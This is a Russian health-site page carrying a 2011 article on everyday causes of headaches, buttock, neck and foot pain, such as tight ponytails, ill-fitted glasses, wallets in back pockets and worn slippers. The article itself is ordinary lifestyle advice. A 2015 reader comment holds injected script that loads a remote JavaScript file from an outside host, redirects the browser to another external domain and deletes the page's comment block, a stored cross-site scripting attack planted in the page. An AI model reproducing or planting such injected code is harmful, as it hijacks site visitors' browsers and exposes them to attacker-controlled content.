Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Необычные причины боли  >>  Необычные причины боли
 
Обратная связь
 

Необычные причины боли

Размер шрифта
05 марта 2011 00:01
  • google_analytics: false
  • Нравится

Боль не всегда свидетельствует о наличии серьезного заболевания. В некоторых случаях при помощи нее организм намекает нам, что что-то мы делаем не так. Например… слишком туго затягиваем волосы в хвост или неправильно смотрим телевизор.

Проблемы с головой

Систематические головные болисимптом многих болезней. Однако не спешите паниковать. Спровоцировать их могут и вполне безобидные вещи. В этом случае избавиться от мигрени просто, достаточно пересмотреть кое-что в своем быту.

  1. Внимательно изучайте состав продуктов, перед тем как съесть их. Путь к мигрени пролегает через желудок. Исследования показывают, что головную боль провоцируют продукты питания и напитки, в составе которых есть амины, глутамат мононатрия, нитриты, кофеин и аспартам (заменитель сахара). Они чаще всего содержатся в мясных и овощных консервах, колбасах, копченостях, сладкой газировке, полуфабрикатах и кондитерских изделиях с сахарозаменителями. Попробуйте на время исключить эти продукты: если боли прошли, причина в них.
  2. Головную боль могут спровоцировать неправильно подобранные очки. Часто мигрени вызывает нарушенная центровка линзы. На ближайших выходных утройте себе день без очков. Боли прошли? Значит пора на прием к офтальмологу. И только после него, с подробнейшим рецептом, можно отправляться в магазины оптики. Не покупайте очки с диоптриями на рынках и в переходах – это некачественные изделия, они могут вызвать не только головную боль, но и ухудшить зрение. Пользуйтесь услугами квалифицированного офтальмолога, не доверяйте свое зрение врачу, который сидит в магазине. Даже если он действительно имеет диплом медика (что большая редкость), это человек в первую очередь заинтересован продать вам дорогой товар, а никак не решить вашу проблему.
  3. Мигрень может вызвать прическа: слишком сильно закрученный «пучок» или туго затянутый хвост. Это связано с тем, что между кожей головы и черепом нет жировой прослойки. Под скальпом пролегает апоневроз – каркас из сухожилий, в котором располагаются сосуды и нервы. Перетягивая волосы, вы сдавливаете сосуды и нервные окончания, от этого и появляются головные боли. Мигрени не единственный недуг, к которому приводят тугие прически. Когда сосуды находятся в сдавленном состоянии, они не могут полноценно подпитывать волосяные луковицы из-за этого может начаться облысение. Чтобы избежать этих проблем, смените прическу на более «свободную» и пользуйтесь мягкой резинкой.

Мягкое место

В 60-х годах прошлого столетия в Англии вошли в моду кредитки, и уже в 1966 году была зарегистрирована новая болезнь, которую они косвенно провоцируют. Недуг получил название «воспаление, вызванное кредитными картами» (Credit cardisit). Оно проявлялась у людей, которые носили кошелек в заднем кармане брюк (раньше, до появления кредиток, туда портмоне не клали, но когда деньги многие заменили на карты, англичане перестали опасаться, что сбережения украдут, расслабились и переместили кошелек из глубин внутренних карманов пиджака прямиком на «пятую точку»). Симптомы Credit cardisit: острая боль в области ягодицы (к которой прилегает кошелек), с прострелом в ногу. Если у вас появилось что-то подобное, задумайтесь, где вы носите свои денежки. Если не далеко от «очага боли», то, чтобы избавиться от приступов раз и навсегда, переложите сбережения в сумку или карман плечевой одежды (пальто, пиджак, рубашку и т.д.).

Дело в том, что когда вы садитесь, кошелек оказывается между стулом и ягодицей. Там он давит на грушевидную ягодичную мышцу, связанную с седалищным нервом. Из-за чего тот как бы «защемляется» и возникают боли. Нерв проходит по ноге, поэтому приступы отдают и в нее. Эти боли прекратятся, как только вы перепрячете деньги в другое место.

Справедливости ради стоит отметить, что не только кошелек является причиной Credit cardisit. Злую шутку могу сыграть с вами любые предметы, оставленные в заднем кармане брюк. От твердой зажигалки до пачки мягких одноразовых носовых платков.

От топота копыт

TV-шоу
Не смотрите телевизор, лежа на боку на диване. Такая поза приводит к болям в шее и спине, кроме того, она снижает приток крови к мозгу (а от этого он недополучает кислород и питательные вещества, из-за чего появляется повышенная утомляемость, депрессии и мигрени). Чтобы смотреть телевизор без вреда для здоровья, примите безопасную позу: нужно сесть прямо (не сутулиться), прижавшись спиной к спинке дивана и облокотив голову на специальную эргономичную подушку.

Тапочки, еще один наш скрытый враг. Домашняя обувь может угрожать здоровью не меньше тугой резинки для волос или кошелька в заднем кармане. Часто тапки лишены супинаторов и каблуков, а без этих приспособлений легко заработать плоскостопие.

Одна из русских традиций – занашивать тапочки буквально до дыр, не меняя их десятилетиями и не стирая их. А учитывая, что домашняя обувь часто намокает (мы потеем, ходим по мокрому кафелю в ванной и моем полы), все это создает идеальные условия того, чтобы в ней поселились различные микроорганизмы. И они непременно будут вызывать раздражение кожи ног. Кроме того, у нас чрезвычайно распространены тапочки без задника, ласково именуемые «шлепанцы». Этот экземпляр готовит своему хозяину еще один сюрприз: «шлепание» по пятке травмирует заднюю часть стопы. Вдумайтесь сами: человек делает 2 шага в секунду, значит, пятка получает 120 ударов в минуту или 7 200 шлепков в час. Хотя удары и незначительны по силе, их количество не может не отразиться на здоровье стоп.

Вывод из всего выше сказанного прост: если у вас неожиданно начали болеть стопы или на их коже появились раздражения и зуд, смените тапочки и проблемы уйдут вместе со старой парой. Выбирая новую, учитывайте, что домашняя обувь ни в чем не должна уступать обычной (уличной), то есть иметь задник и полноценную подошву с каблучком (не более 3-5 см – все, что выше утомляет наши ноги).

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:17

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Болезни-близнецы. Мигрень и инсульт   Как мы реагируем на стресс   Как магнитная буря влияет на ваше здоровье?   Лечим головную боль без лекарств  
02 июля 2013Лечить головную боль можно без лекарств! Ученые подключают электричество к нервам! 02 апреля 2013Революция в лечении головной боли
 
30 января 2013Хотите не чувствовать боли – спите дольше 29 октября 2012Голые крысы спасут людей от боли
 

Слайдшоу

1
Почему у вас болит голова? Самые неожиданные причины
Почему у женщин болит голова?
7 болей, которые нельзя игнорировать

Тесты

Средства личной гигиены
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.